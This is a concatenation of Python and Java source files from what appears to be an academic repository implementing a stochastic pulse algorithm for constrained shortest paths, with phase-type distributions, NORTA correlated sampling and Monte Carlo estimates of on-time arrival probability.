print("Probabilidad de llegar a tiempo: ", SPG.monte_carlo(pulse_path,tmin,0,10000))
PG.draw_graph(path2=pulse_path)
#p=[899, 897, 442, 896, 891, 884, 856, 855, 854, 877, 874, 873, 870, 867, 864, 732, 414, 726, 720, 714, 390, 391, 392, 393, 583, 767, 756, 745, 199]
#p=[i+1 for i in p]
#PG.draw_graph(path2=p)
<file_sep>import math
import numpy as np
from operator import concat
from functools import reduce
import warnings
import matplotlib.pyplot as plt
from mpmath import *
#from scipy.linalg import
class CustomError(Exception):
pass
class PH:
def __init__(self, T, alpha):
self.T=matrix(T)
self.alpha= matrix(alpha)
if len(self.T)==0:
self.a=matrix([[]])
else:
self.a=-self.T*ones(len(T),1)
def cdf(self,x):
#print(len(self.T))
if len(self.T)>0:
#print(self.T*x)
eTT=expm(self.T*x)
one=ones(len(self.T),1)
p=1-self.alpha.T*eTT*one
else:
p=[1]
return p[0]
def pdf(self,x):
eTT=expm(self.T*x,method="pade")
p=self.alpha.T*eTT*self.a
return p[0]
def plot_pdf(self,max,color="lime"):
xx = np.linspace(0, max, 50)
y2 = list(map(self.pdf,xx))
plt.plot(xx,y2, color=color,alpha=1)
#plt.legend(['PH-fit'])
#plt.show()
def sum(self, v2):
if len(self.T)==0:
return v2
else:
gamma=matrix(self.alpha.rows+v2.alpha.rows,1)
for i in range(self.alpha.rows):
gamma[i]=self.alpha[i]
for i in range(self.alpha.rows,self.alpha.rows+v2.alpha.rows):
gamma[i]=v2.alpha[i-self.alpha.rows]*(1-sum(self.alpha))
C=matrix(self.T.rows+v2.T.rows)
for i in range(self.T.rows):
for j in range(self.T.cols):
C[i,j]=self.T[i,j]
ab=self.a*v2.alpha.T
for i in range(ab.rows):
for j in range(ab.cols):
C[i,j+self.T.cols]=ab[i,j]
for i in range(v2.T.rows):
for j in range(v2.T.cols):
C[i+self.T.cols,j+self.T.rows]=v2.T[i,j]
return(PH(C,gamma))
def trace(self):
'''
Description
Args:
arg1(type):description.
Return:
Return(type):description.
'''
return sum(self.T[i,i] for i in range(len(self.T)))
<file_sep>from PhaseType import *
from numpy import *
from py4j.java_gateway import JavaGateway, GatewayParameters
import numpy as np
from py4j.java_collections import SetConverter, MapConverter, ListConverter,JavaArray
import scipy.stats as sts
from mpmath import *
def get_PH_HE (data,N):
gateway = JavaGateway()
fitter = gateway.entry_point.getEMHyperErlangFit()
data=ListConverter().convert(data,gateway._gateway_client)
emcont_fitter=fitter.EMHyperErlangFit(data)
v=emcont_fitter.fit(N)
#v=fitter.EMHyperErlangFit(data).fit(N)
T=v.getMatrixArray()
al=v.getVectorArray()
loglike=emcont_fitter.getLogLikelihood()
R=np.zeros((len(T),len(T)))
R=array([[T[i][j]for j in range (len(T))] for i in range(len(T))])
T=R
alpha=array([al[i] for i in range(len(al))])
T=matrix(T)
alpha=matrix(alpha)
return PH(T, alpha) ,loglike
def get_PH_MM (moments):
gateway = JavaGateway()
fitter = gateway.entry_point.getACPHFit()
moments=ListConverter().convert(moments,gateway._gateway_client)
v=fitter.MomentsACPHFit(moments).fit()
T=v.getMatrixArray()
al=v.getVectorArray()
R=np.zeros((len(T),len(T)))
R=array([[T[i][j]for j in range (len(T))] for i in range(len(T))])
T=R
alpha=array([al[i] for i in range(len(al))])
return PH(T, alpha)
#ph=get_PH_MM([2.0,6.0,25.0])
#print(ph.T)<file_sep>/**
* This class represents the final node in a network. The pulse procedure is overrided!
*
* Ref.: <NAME>. and <NAME>. (2013).
* On an exact method for the constrained shortest path problem. Computers & Operations Research. 40 (1):378-384.
* DOI: http://dx.doi.org/10.1016/j.cor.2012.07.008
*
*
* @author <NAME> & <NAME>
* @affiliation Universidad de los Andes - Centro para la Optimizaci�n y Probabilidad Aplicada (COPA)
* @url http://copa.uniandes.edu.co/
*
*/
package Pulse;
import java.util.ArrayList;
import com.sun.tools.classfile.StackMapTable_attribute.verification_type_info;
import jphase.ContPhaseVar;
import jphase.DenseContPhaseVar;
public class FinalVertexPulse extends VertexPulse {
/**
* Node id
*/
public int id;
/**
* SP stuff
*/
private VertexPulse bLeft;
private VertexPulse bRigth;
private EdgePulse reverseEdges;
/**
* Bounds
*/
int minDist;
int maxTime;
int minTime;
int maxDist;
int minExpTime;
int maxExpTime;
/**
*
*/
private boolean inserted;
/**
*
*/
int c=0;
int d=0;
/**
* Creates the final node
* @param i
*/
public FinalVertexPulse(int i) {
super(i);
id = i;
inserted = false;
minDist = infinity;
minTime = infinity;
maxTime = 0;
maxDist = 0;
bLeft = this;
bRigth = this;
}
/**
* Returns the node id
*/
public int getID()
{
return id;
}
/**
* Adds an edge
*/
public void addReversedEdge(EdgePulse e)
{
if(reverseEdges!=null){
reverseEdges.addNextCommonTailEdge(e);
}else
reverseEdges = e;
}
public EdgePulse findEdgeByTarget(VertexPulse target){
if(reverseEdges!=null){
reverseEdges.findEdgebyTarget(target);
}
return null;
}
public EdgePulse getReversedEdges() {
if(reverseEdges!= null){
return reverseEdges;
}
double [ ] alpha = new double[] {};
double [ ] [ ] A = new double[][] {{}};
ContPhaseVar PH=new DenseContPhaseVar(alpha, A );
return new EdgePulse(1,1,PH, this,this , -1);
}
public void setMinDist(int c){
minDist = c;
}
public int getMinDist(){
return minDist;
}
public void setMaxTime(int mt){
maxTime = mt;
}
public int getMaxTime(){
return maxTime;
}
public void setMaxExpTime(int mt){
maxTime = mt;
}
public int getMaxExpTime(){
return maxTime;
}
public void setMinTime(int t){
minTime = t;
}
public int getMinTime(){
return minTime;
}
public void setMinExpTime(int t){
minTime = t;
}
public int getMinExpTime(){
return minTime;
}
public void setMaxDist(int md){
maxDist = md;
}
public int getMaxDist(){
return maxDist;
}
/**
* Unlink a vertex from the bucket
* @return true, if the buckets gets empty
*/
public boolean unLinkVertexDist(){
if(bRigth.getID() == id){
bLeft=this;
bRigth=this;
return true;
}else{
bLeft.setRigthDist(bRigth);
bRigth.setLeftDist(bLeft);
bLeft = this;
bRigth = this;
return false;
}
}
/**
* Insert a vertex in a bucket.
* New vertex is inserted on the left of the bucket entrance
* @param v vertex in progress to be inserted
*/
public void insertVertexDist(VertexPulse v) {
v.setLeftDist(bLeft);
v.setRigthDist(this);
bLeft.setRigthDist(v);
bLeft = v;
}
public void setLeftDist(VertexPulse v){
bLeft= v;
}
public void setRigthDist(VertexPulse v){
bRigth= v;
}
public VertexPulse getBLeftDist(){
return bLeft;
}
public VertexPulse getBRigthDist(){
return bRigth;
}
public void setInsertedDist(){
inserted = true;
}
public boolean isInserteDist(){
return inserted;
}
/**
* Unlink a vertex from the bucket
* @return true, if the buckets gets empty
*/
public boolean unLinkVertexTime(){
if(bRigth.getID() == id){
bLeft=this;
bRigth=this;
return true;
}else{
bLeft.setRigthTime(bRigth);
bRigth.setLeftTime(bLeft);
bLeft = this;
bRigth = this;
return false;
}
}
/**
* Insert a vertex in a bucket.
* New vertex is inserted on the left of the bucket entrance
* @param v vertex in progress to be inserted
*/
public void insertVertexTime(VertexPulse v) {
v.setLeftTime(bLeft);
v.setRigthTime(this);
bLeft.setRigthTime(v);
bLeft = v;
}
public void setLeftTime(VertexPulse v){
bLeft= v;
}
public void setRigthTime(VertexPulse v){
bRigth= v;
}
public VertexPulse getBLeftTime(){
return bLeft;
}
public VertexPulse getBRigthTime(){
return bRigth;
}
public void setInsertedTime(){
inserted = true;
}
public boolean isInserteTime(){
return inserted;
}
/**
* Unlink a vertex from the bucket
* @return true, if the buckets gets empty
*/
public boolean unLinkVertexExpTime(){
if(bRigth.getID() == id){
bLeft=this;
bRigth=this;
return true;
}else{
bLeft.setRigthExpTime(bRigth);
bRigth.setLeftExpTime(bLeft);
bLeft = this;
bRigth = this;
return false;
}
}
/**
* Insert a vertex in a bucket.
* New vertex is inserted on the left of the bucket entrance
* @param v vertex in progress to be inserted
*/
public void insertVertexExpTime(VertexPulse v) {
v.setLeftExpTime(bLeft);
v.setRigthExpTime(this);
bLeft.setRigthExpTime(v);
bLeft = v;
}
public void setLeftExpTime(VertexPulse v){
bLeft= v;
}
public void setRigthExpTime(VertexPulse v){
bRigth= v;
}
public VertexPulse getBLeftExpTime(){
return bLeft;
}
public VertexPulse getBRigthExpTime(){
return bRigth;
}
public void setInsertedExpTime(){
inserted = true;
}
public boolean isInserteExpTime(){
return inserted;
}
public void reset(){
inserted = false;
}
public void setBounds(int MT, int MD){
maxDist = MD- minDist;
maxTime = MT - minTime;
}
/**
* This is the pulse for the last node !!!
* If the path is feasible and updates the primal bound the information on the best solution found is updated
*/
public void pulse(int pCost, ContPhaseVar ptRV,double pProb, double ptmin,double pMean, ArrayList<Integer> path,double[] pData){
// Add node id to path
path.add(id);
// System.out.println("Llegue aca (final) "+id+" - "+pCost+" - "+pMean+" - "+PulseGraph.PrimalBound + " - "+pProb);
// If the path is feasible and updates the primal bound the information on the best solution found is updated
if(pCost<PulseGraph.PrimalBound && pProb >= PulseGraph.alpha){
// Update the best solution known
PulseGraph.Path.clear();
PulseGraph.Path.addAll(path);
PulseGraph.PrimalBound=pCost;
PulseGraph.Mean=pMean;
PulseGraph.minTime=ptmin;
PulseGraph.feasPaths++;
//The best distance
PulseGraph.PH = ptRV;
//PulseGraph.finalProb = ptRV.cdf(PulseGraph.TimeC-ptmin);
PulseGraph.finalProb=pProb;
}
// Remove the node id to backtrack
path.remove((path.size()-1));
}
public void resetSorting() {
for (VertexPulse v: PulseGraph.vertexes) {
v.firstTime=true;
}
}
}
<file_sep>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Oct 9 12:58:58 2018
Updateed on Wed Jun 19 13:14:19 2019
@author: <NAME>
@email: <EMAIL>
This module implements Normal-to-Anything (NORTA) algorithm
to generate correlated random vectors. The original paper is by
Cario and Nelson (2007).
"""
import numpy as np
from scipy.linalg import cholesky
import scipy.stats as stats
#from fitter import Fitter
rnd = np.random.RandomState(0) # Random stream
Z = stats.norm(0, 1) # Standar normal
GAUSS_SAMPLING = True # Parameter for montecarlo integration
OUTPUT = 1 # Output flag. 0: no output, 1: process output
MC_SAMPLES = 10000000 # Number of samples to compute the integral
def reset_stream():
global rnd
rnd = np.random.RandomState(0) # Random stream
def find_rho_z(i, j, F_invs, CovX, EX):
"""
Computes the correlation of the multivariate normal used in the
generation of random variables. The correlation is found by means of
a binary search where for each value, the targe covariance between i and j
is computed as an integral via Monte Carlo. The sampling procedure leverages
in the bivarite normal distribution embeded in the covariance term.
Args:
i,j (int): pair of indices for which the correlation is being computed
F_invs (list of func): list of functions. Each function is the inverse of
the marginal distribution of each random variable.
CovX (ndarray): Covariance matrix of the input
EX (ndarray): Mean vector of the input
"""
if OUTPUT == 1:
print("Computing rhoZ(%i,%i)" % (i, j))
cor_dem = np.sqrt(CovX[i, i] * CovX[j, j])
rho_z = CovX[i, j] / cor_dem
rho_u = 1 if CovX[i, j] > 0 else 0
rho_d = -1 if CovX[i, j] < 0 else 0
F_i_inv = F_invs[i]
F_j_inv = F_invs[j]
EXi, EXj = EX[i], EX[j]
while np.abs(rho_u - rho_d) > 1e-4:
covZ = np.array([[1, rho_z], [rho_z, 1]])
f = conv_exp(covZ, F_i_inv, F_j_inv, gaussian_sampling=GAUSS_SAMPLING)
EXiXj = montecarlo_integration(
f, n=MC_SAMPLES, c=covZ, m=np.zeros(2), gaussian_sampling=GAUSS_SAMPLING
)
CXiXj = EXiXj - EXi * EXj
if OUTPUT == 1:
print(
" rhoZ=%10.4e, C(i,j)=%10.4e, Cov=%10.4e" % (rho_z, CXiXj, CovX[i, j])
)
if np.abs(CXiXj - CovX[i, j]) / cor_dem < 1e-4:
#
return rho_z
else:
if CXiXj > CovX[i, j]:
rho_u = rho_z
rho_z = 0.5 * (rho_z + rho_d)
else: # rhoC_ij <= rho_ij
rho_d = rho_z
rho_z = 0.5 * (rho_z + rho_u)
return rho_z
def montecarlo_integration(f, m=None, c=None, n=1000000, gaussian_sampling=False):
"""
Computes the integral for the particular function in NORTA.
WARNING: This method is not general for other functions as it is.
"""
if gaussian_sampling:
assert type(m) != type(None), "Mean and Cov are required for gaussian sampling"
z_trial = rnd.multivariate_normal(m, c, n)
integral = np.sum(f(z_trial[:, 0], z_trial[:, 1]))
return integral / n
else:
return montecarlo_integration_uniform(f, n)
def montecarlo_integration_uniform(f, n=1000):
"""
Basic integration function using uniform sampling. The cube size
is determined based on the fact that almost all the mass in a bivariate
standar normal distribution is within -5,5 x -5,5.
"""
cube_size = 5
z1_trials = rnd.uniform(-cube_size, cube_size, n)
z2_trials = rnd.uniform(-cube_size, cube_size, n)
V = 2 * cube_size * 2 * cube_size
integral = np.sum(f(z1_trials, z2_trials))
return V * integral / n
def PolyArea(x, y):
"""
Nice function to compute the area enclosed by a sequence of points.
Not used in this module, but potencialy usefull for other montecarlo
integration functions.
"""
# https://stackoverflow.com/questions/24467972/calculate-area-of-polygon-given-x-y-coordinates
return 0.5 * np.abs(np.dot(x, np.roll(y, 1)) - np.dot(y, np.roll(x, 1)))
def conv_exp(covZ, F_i_inv, F_j_inv, gaussian_sampling=True):
"""
Integrant in NORTA.
Args:
covZ (ndarray): Covariance of the bivariate normal distribution
F_i_inv (func): Inverse function of the marginal for variable i (j)
gaussian_sampling (bool): True if the function needs to be modified due
to the sampling mechanism in the Montecarlo Integration method
"""
if gaussian_sampling:
def f(z1, z2):
return F_i_inv(Z.cdf(z1)) * F_j_inv(
Z.cdf(z2)
) # remove bi_x pdf since montecarlo is sampling according to bi_z
return f
else:
bi_z = stats.multivariate_normal(cov=covZ)
def f(z1, z2):
z1z2 = np.vstack((z1, z2)).transpose()
return F_i_inv(Z.cdf(z1)) * F_j_inv(Z.cdf(z2)) * bi_z.pdf(z1z2)
return f
def build_empirical_inverse_cdf(X):
"""
Builds an inverse CDF function given a sorted vector of values defining a
marginal distribution.
Args:
X:Sorted vector of observations
"""
n = len(X)
def f(prob):
"""
Args:
prob (ndarray): vector with probablities to compute the inverse
"""
# assert 0<=prob<=1, 'Argument of inverse function is a probability >=0 and <= 1.'
return X[np.minimum((n * np.array(prob)).astype(int), n - 1)]
return f
def fit_NORTA(n, d,data=None,CovX=None,EX=None, F_invs=None, output_flag=0):
"""
Computes covariance matrix for NORTA algorith.
NORTA object assumes emprical marginal distributions.
Args:
data (ndarray): a n x d array with the data
n (int): number of observations for each random variable
d (int): dimanention of the random vector.
F_invs (list of func): optional parameter to specify the marginal
distributions. Default is None, which constructs the marginals from
the data.
CovX: (ndarray): optional parameter with a d x d array with the desired covariance matrix
EX: (ndarray): optional parameter with a 1 x d array with the desired Expected values of each random variable
Return:
NORTA_GEN (NORTA): an object that stores the necessary information to
generate NORTA random vectors.
"""
reset_stream()
global OUTPUT
OUTPUT = output_flag
if type(data)!=type(None):
assert len(data) == n, "Data needs to be a d x n matrix"
assert len(data[0]) == d, "Data needs to bo a d x n matrix"
CovX = np.cov(data, rowvar=False)
if OUTPUT == 1:
print("Starting NORTA fitting")
print("Finding %i correlation terms" % (int(d * (d - 1) / 2)))
C = None # matrix for NORTA
lambda_param = 0.01
VarX = np.diag(np.diag(CovX))
procedure_done = False
while procedure_done == False:
D = np.eye(d)
if EX==None:
EX = np.mean(data, axis=0)
print('esto es exp: ',EX )
if type(F_invs) != list:
F_invs = [
build_empirical_inverse_cdf(np.sort(data[:, i])) for i in range(d)
]
for i in range(d):
for j in range(i + 1, d):
D[i, j] = find_rho_z(i, j, F_invs, CovX, EX)
D[j, i] = D[i, j]
try:
C = cholesky(D, lower=True)
procedure_done = True
except:
CovX = (1 - lambda_param) * CovX + lambda_param * VarX
print("Cholesky factorization failed, starting over")
NORTA_GEN = NORTA(F_invs, C)
return NORTA_GEN
def fit_NORTA_CovX(CovX,EX, F_invs,data=None, output_flag=0):
"""
Computes covariance matrix for NORTA algorith.
NORTA object assumes emprical marginal distributions.
Args:
data (ndarray): a n x d array with the data
n (int): number of observations for each random variable
d (int): dimanention of the random vector.
F_invs (list of func): optional parameter to specify the marginal
distributions. Default is None, which constructs the marginals from
the data.
CovX: (ndarray): optional parameter with a d x d array with the desired covariance matrix
EX: (ndarray): optional parameter with a 1 x d array with the desired Expected values of each random variable
Return:
NORTA_GEN (NORTA): an object that stores the necessary information to
generate NORTA random vectors.
"""
reset_stream()
global OUTPUT
OUTPUT = output_flag
d=len(EX)
if type(data)!=type(None):
assert len(data) == n, "Data needs to be a d x n matrix"
assert len(data[0]) == d, "Data needs to bo a d x n matrix"
CovX = np.cov(data, rowvar=False)
if OUTPUT == 1:
print("Starting NORTA fitting")
print("Finding %i correlation terms" % (int(d * (d - 1) / 2)))
C = None # matrix for NORTA
lambda_param = 0.01
VarX = np.diag(np.diag(CovX))
procedure_done = False
while procedure_done == False:
D = np.eye(d)
if EX==None:
EX = np.mean(data, axis=0)
print('esto es exp: ',EX )
if type(F_invs) != list:
F_invs = [
build_empirical_inverse_cdf(np.sort(data[:, i])) for i in range(d)
]
for i in range(d):
for j in range(i + 1, d):
D[i, j] = find_rho_z(i, j, F_invs, CovX, EX)
D[j, i] = D[i, j]
try:
C = cholesky(D, lower=True)
procedure_done = True
except:
CovX = (1 - lambda_param) * CovX + lambda_param * VarX
print("Cholesky factorization failed, starting over")
NORTA_GEN = NORTA(F_invs, C)
return NORTA_GEN
class NORTA:
"""
Class to create a Normal-to-Anything model
Attributes:
F (list of func): Marginal inverse CDFs
C (ndarry): numpy array with the Cholesky factorization
"""
def __init__(self, Finv, C):
reset_stream()
assert len(Finv) == len(C), "Dimension of the marginals and C dont match."
self.F_inv = Finv
self.C = C
reset_stream()
def gen(self, n=1):
"""
Generates an array of vectors of where each component follow the
marginal distribution and the realization are correlated by means of
the covariance matrix CovZ computed in the fitting process.
Args:
n (int): number of samples to generate
"""
d = len(self.F_inv)
w = rnd.normal(size=(d, n))
z = self.C.dot(w)
'''
print([i.mean() for i in z])
import matplotlib.pyplot as plt
p=[Z.cdf(z[i]) for i in range(d)]
for d,i in enumerate(p):
plt.hist(i)
plt.show()
'''
X = np.array([self.F_inv[i](Z.cdf(z[i])) for i in range(d)]).transpose()
return X
<file_sep>import networkx as nx
import numpy as np
from matplotlib import pyplot as plt
import matplotlib
from matplotlib import cbook, docstring, rcParams
import pylab
import matplotlib.animation
import math
import time as tiemm
from importlib import reload
from mpmath import *
import time
import scipy.stats as sts
import simulator as sim
#Stochastic pulse class
class s_pulse_graph():
"""docstring for pulse_graph"""
def __init__(self, G,T_max,alpha,source,target,n_it,tightness,pos=[],cov=[]):
#super(s_pulse_graph, self).__init__()
self.G = G #Nodes, Edges, (c,free flow time, time RV_distribution, parameters of that distribution)
self.Primal_Bound=float("inf")
self.Fpath=[]
self.Resource=0
self.minimum_time=0
self.T_max=T_max
self.alpha=alpha
self.source=source
self.target=target
self.anim=[]
self.pos=pos
self.time_expm=0
self.bound=0
self.infeas=0
self.dom=0
self.n_it=n_it
self.tightness=tightness
self.time_limit=float('inf')
self.pulse_time=0
self.feasibel=False
if cov ==[]:
self.cov=[]
#self.cov=np.identity(len(self.G.edges()))
else:
self.cov=cov
#Preprocess the graph labeling every node with the shortest cost to the end node (target)
def preprocess(self):
p=nx.shortest_path_length(self.G,weight="Cost",target=self.target)
attrs={i:{"labels":[],"s_cost":p[i]} for i in p.keys()}
attrs.update({i:{"labels":[],"s_cost":float("inf")} for i in self.G.nodes() if i not in p.keys()})
nx.set_node_attributes(self.G, attrs)
p=nx.shortest_path_length(self.G,weight="tmin",target=self.target)
attrs={i:{"s_time":p[i]} for i in p.keys()}
attrs.update({i:{"s_time":float("inf")} for i in self.G.nodes() if i not in p.keys()})
nx.set_node_attributes(self.G, attrs)
self.minimum_time=attrs[self.source]["s_time"]
#self.minimum_time=attrs[self.source]["s_time"]
if self.T_max==0:
self.T_max=p[self.source]*(1+self.tightness)
for i in self.G.nodes:
self.G.nodes[i]["labels"]=[]
#Check Dominance
def C_Dominance(self,vk,c,prob):
bool=True #We assume that the current path passes the dominance check (i.e is not dominated)
for (i,(cc,probb)) in enumerate(self.G.nodes[vk]["labels"]):
if c>cc and prob<probb:
bool=False
self.dom+=1
return bool
#Check Feasibility
def C_Feasibility(self,vk,prob):
bool=True
if prob<self.alpha:
bool=False
self.infeas+=1
return bool
#Check Bounds
def C_Bounds(self,vk,c):
bool=True
if c+self.G.nodes[vk]["s_cost"]>self.Primal_Bound:
bool=False
self.bound+=1
return bool
#Update the labels of a given node vk
def update_labels(self,vk,c,prob):
self.G.nodes[vk]["labels"].append((c,prob))
def sort(self,sons):
if self.feasibel:
return(sorted(sons,key=lambda x: self.G.nodes[x]["s_cost"] ))
else:
return(sorted(sons,key=lambda x: self.G.nodes[x]["s_time"] ))
def update_primal_bound(self,c,prob,P):
if prob>=self.alpha and c<=self.Primal_Bound:
self.Primal_Bound=c
self.Fpath=P
self.Resource=prob
self.feasibel=True
'''
tmin=sum(self.G[i][j]['tmin'] for i,j in zip(P[:-1],P[1:]))
if self.cov==[]:
p=self.monte_carlo(path=P,tmin=tmin,lb_time=0)
else:
p=self.monte_carlo_cor(path=P,tmin=tmin,lb_time=0)
if prob!=p:
print('Prob: ###############\n',prob,p)
print('Prob: ###############\n',P)
#print("Primal_Bound: ",c, prob)
'''
def pulse(self,vk,c,tmin,P):
t=time.time()
if self.cov==[]:
prob=self.monte_carlo(path=P+[vk],tmin=tmin,lb_time=self.G.nodes[vk]["s_time"])
else:
prob=self.monte_carlo_cor(path=P+[vk],tmin=tmin,lb_time=self.G.nodes[vk]["s_time"])
#print(prob1)
#print(prob)
#monte_carlo_cor
self.time_expm+=time.time()-t
self.update_labels(vk,c,prob)
if vk==self.target:
self.update_primal_bound(c,prob,P+[vk])
#print('Prob: ###############\n',self.G.nodes[vk]["s_time"])
elif (self.C_Dominance(vk,c,prob) and self.C_Feasibility(vk,prob) and self.C_Bounds(vk,c) and vk not in P):
PP=P.copy()
PP.append(vk)
for i in self.sort(self.G.successors(vk)):
cc=c+self.G.edges[vk,i]["Cost"]
ntmin=tmin+self.G.edges[vk,i]["tmin"]
'''
tminnn=sum(self.G[ii][j]['tmin'] for ii,j in zip(PP[:],PP[1:]+[i]))
print('########################')
print(PP)
print(ntmin)
print(tminnn)
print('########################')
'''
if time.time()-self.pulse_time <=self.time_limit:
self.pulse(i,cc,ntmin,PP)
else:
print("Time limit exeded")
def run_pulse(self,t_limit=float("inf")):
self.time_limit=t_limit
self.Fpath=[]
self.Primal_Bound=float("inf")
self.Resource=0
#print(self.Fpath)
self.preprocess()
#print("s",self.source)
self.pulse_time=time.time()
if self.G.nodes[self.source]["s_cost"]!=float('inf'):
self.pulse(vk=self.source,c=0,tmin=0,P=self.Fpath)
else:
print('The instance is infeasible')
self.pulse_time=time.time()-self.pulse_time
return self.Fpath, self.Primal_Bound,self.Resource
def prob_path(self,path, T_max):
RV=self.G[path[0]][path[1]]["tRV"]
arcs=list(zip(path[1:-1],path[2:]))
tmin=0
for i,j in arcs:
RV=RV.sum(self.G[i][j]["tRV"])
tmin+=self.G[i][j]["tmin"]
return(RV.cdf(T_max-tmin))
def monte_carlo(self,path,tmin,lb_time,n_it=0):
if n_it==0:
n_it=self.n_it*10
if len (path)>1:
#print("Todo esta bien")
pat=list(zip(path[:-1],path[1:]))
'''
for i,j in pat:
print("time",self.G[i][j]["Time"])
x=getattr(sts,self.G[i][j]["distr"]).rvs(size=n_it,*self.G[i][j]["params"])
print("mean", self.G[i][j]["tmin"]+sum(x)/len(x))
print("distr",self.G[i][j]["distr"])
#print("variance ",getattr(sts,self.G[i][j]["distr"]).std(*self.G[i][j]["params"]))
'''
s=np.array([0 for i in range(n_it)])
#print(s)
for i,j in pat:
k=np.array(list(map(lambda x: min(x,self.G[i][j]["Time"]+20*100) ,getattr(sts,self.G[i][j]["distr"]).rvs(size=n_it,*self.G[i][j]["params"]))))
s=s+k
#print(len(k))
#s=sum(np.array(map(lambda x: min(x,self.G[i][j]["Time"]+20*1000) ,getattr(sts,self.G[i][j]["distr"]).rvs(size=n_it,*self.G[i][j]["params"]))) for i,j in pat)
'''
print('####################################')
print("T_max",self.T_max-tmin-lb_time)
print("teor mean",sum(self.G[i][j]["Time"] for i,j in pat))
print("calc mean MC",sum(self.G[i][j]["tmin"] for i,j in pat)+sum(s)/len(s))
#print("Sum",sum(s)/len(s))
print("calc mean MC_corrr",str(self.G[i][j]["tmin"]+sum(s)/len(s)))
print('####################################')
'''
ind=list(map(lambda x: x<=self.T_max-tmin-lb_time,s))
prob= sum(ind)/n_it
else:
prob=1
#print("prob: ",prob)
return prob
def monte_carlo_cor(self,path,tmin,lb_time,n_it=0):
if n_it==0:
n_it=self.n_it
if len (path)>1:
pat=list(zip(path[:-1],path[1:]))
pat_index=[list(self.G.edges()).index(i) for i in pat]
#s=sum(getattr(sts,self.G[i][j]["distr"]).rvs(size=n_it,*self.G[i][j]["params"]) for i,j in pat)
cov=self.cov[pat_index,::][::,pat_index]
distrs=[self.G[i][j]["distr"] for i,j in pat]
params=[self.G[i][j]["params"] for i,j in pat]
#print(distrs)
#print(params)
data_p=sim.Cor_gen(cov=cov,distrs=distrs, params=params,n=n_it)
#print(data_p)
s_p=[sum(k[0]) for k in data_p]
#print(s_p)
s=np.array([0 for i in range(n_it)])
for i,j in pat:
k=np.array(list(map(lambda x: min(x,self.G[i][j]["Time"]) ,getattr(sts,self.G[i][j]["distr"]).rvs(size=n_it,*self.G[i][j]["params"]))))
s=s+k
'''
print('real cor')
l=[list(i[0]) for i in data_p.transpose()]
print(np.corrcoef(l))
#print([getattr(sts, l).mean(*params[i]) for i,l in enumerate(distrs)])
print([np.mean(i)for i in data_p.transpose()])
print("T_max",self.T_max-tmin-lb_time)
print('####################################')
print(tmin)
print("teor mean",sum(self.G[i][j]["Time"] for i,j in pat))
print("calc mean MC",sum(self.G[i][j]["tmin"] for i,j in pat)+sum(s)/len(s))
#print("Sum",sum(s_p)/len(s_p))
print("calc mean MC_corrr",str(sum(self.G[i][j]["tmin"] for i,j in pat)+sum(s_p)/len(s_p)))
print('####################################')
'''
#print(s_p)
#print(s)
ind_p=list(map(lambda x: x<=self.T_max-tmin-lb_time,s_p))
#ind_m=list(map(lambda x: x<=self.T_max-tmin-lb_time,s_m))
prob_p= sum(ind_p)/n_it
#prob_m= sum(ind_m)/n_it
prob=prob_p
#print("prob:_p ",prob_p)
#print("prob:_m ",prob_m)
else:
prob=1
return prob
class GraphDrawing(object):
"""docstring for GraphDrawing"""
def __init__(self, arg):
super(GraphDrawing, self).__init__()
self.arg = arg
#Draws the graph with a given position and a given path
def draw_graph(self,path=[],bgcolor="white",edge_color="orange",arc_color="royalblue",path_color="red",n_lab=True,e_lab=False):
if self.pos==[]:
self.pos = nx.random_layout(self.G)
if path==[]:
path=self.Fpath
fig, ax = plt.subplots()
edge_labels={e:(self.G.edges[e]["Cost"]) for e in self.G.edges}
BGnodes=set(self.G.nodes()) - set(path)
nx.draw_networkx_edges(self.G, pos=self.pos, edge_color=arc_color,ax=ax)
null_nodes = nx.draw_networkx_nodes(self.G, pos=self.pos, nodelist=BGnodes, node_color=bgcolor,ax=ax)#node_size=1000
null_nodes.set_edgecolor(edge_color)
nx.draw_networkx_labels(self.G, pos=self.pos, labels=dict(zip(BGnodes,BGnodes)), font_color="black",ax=ax)
try:
query_nodes=nx.draw_networkx_nodes(self.G,pos=self.pos,nodelist=path,node_color=path_color,ax=ax)#,node_size=1000
query_nodes.set_edgecolor(path_color)
except:
pass
if n_lab:
#Node labels
nx.draw_networkx_labels(self.G,pos=self.pos,labels=dict(zip(path,path)),font_color="black",ax=ax)
edgelist = [path[k:k+2] for k in range(len(path) - 1)]
nx.draw_networkx_edges(self.G, pos=self.pos, edgelist=edgelist, width=4,edge_color=path_color,ax=ax)
if e_lab:
#Edge labels
nx.draw_networkx_edge_labels(self.G, self.pos, edge_labels = edge_labels ,ax=ax)
plt.axis('off')
#plt.figure(num=None, figsize=(6, 3), dpi=80*3, facecolor='w', edgecolor='k')
#plt.show()
return fig, ax
def draw_pat(self,path=[],bgcolor="white",edge_color="orange",arc_color="royalblue",path_color="red",n_lab=True,e_lab=False,ax=None):
if path==[]:
path=self.Fpath
query_nodes=nx.draw_networkx_nodes(self.G,pos=self.pos,nodelist=path,node_color=path_color,ax=ax)#,node_size=1000
query_nodes.set_edgecolor(path_color)
edgelist = [path[k:k+2] for k in range(len(path) - 1)]
nx.draw_networkx_edges(self.G, pos=self.pos, edgelist=edgelist, width=4,edge_color=path_color,ax=ax)
def pulse_anim(self,vk,c,tRV,tmin,P):
#print(tmin)
prob=tRV.cdf(self.T_max)
self.update_labels(vk,c,prob)
if vk==self.target:
self.update_primal_bound(c,prob,P+[vk],tRV)
if prob>=self.alpha and c<=self.Primal_Bound:
self.anim.append(["Primal_Bound",P+[vk],c,round(prob,4),self.Fpath,self.Primal_Bound,self.Resource])
elif not self.C_Dominance(vk,c,prob):
self.anim.append(["Dom",P+[vk],c,round(prob,4),self.Fpath,self.Primal_Bound,self.Resource])
elif not self.C_Feasibility(vk,prob):
self.anim.append(["Feas",P+[vk],c,round(prob,4),self.Fpath,self.Primal_Bound,self.Resource])
elif not self.C_Bounds(vk,c):
self.anim.append(["Bound",P+[vk],c,round(prob,4),self.Fpath,self.Primal_Bound,self.Resource])
elif vk in P:
self.anim.append(["Loop",P+[vk],c,round(prob,4),self.Fpath,self.Primal_Bound,self.Resource])
if (self.C_Dominance(vk,c,prob) and self.C_Feasibility(vk,prob) and self.C_Bounds(vk,c) and vk not in P):
PP=P.copy()
PP.append(vk)
for i in self.sort(self.G.successors(vk)):
cc=c+self.G.edges[vk,i]["Cost"]
ntRV=tRV.sum(self.G.edges[vk,i]["tRV"])
probi=ntRV.cdf(self.T_max)
ntmin=tmin+self.G.edges[vk,i]["tmin"]
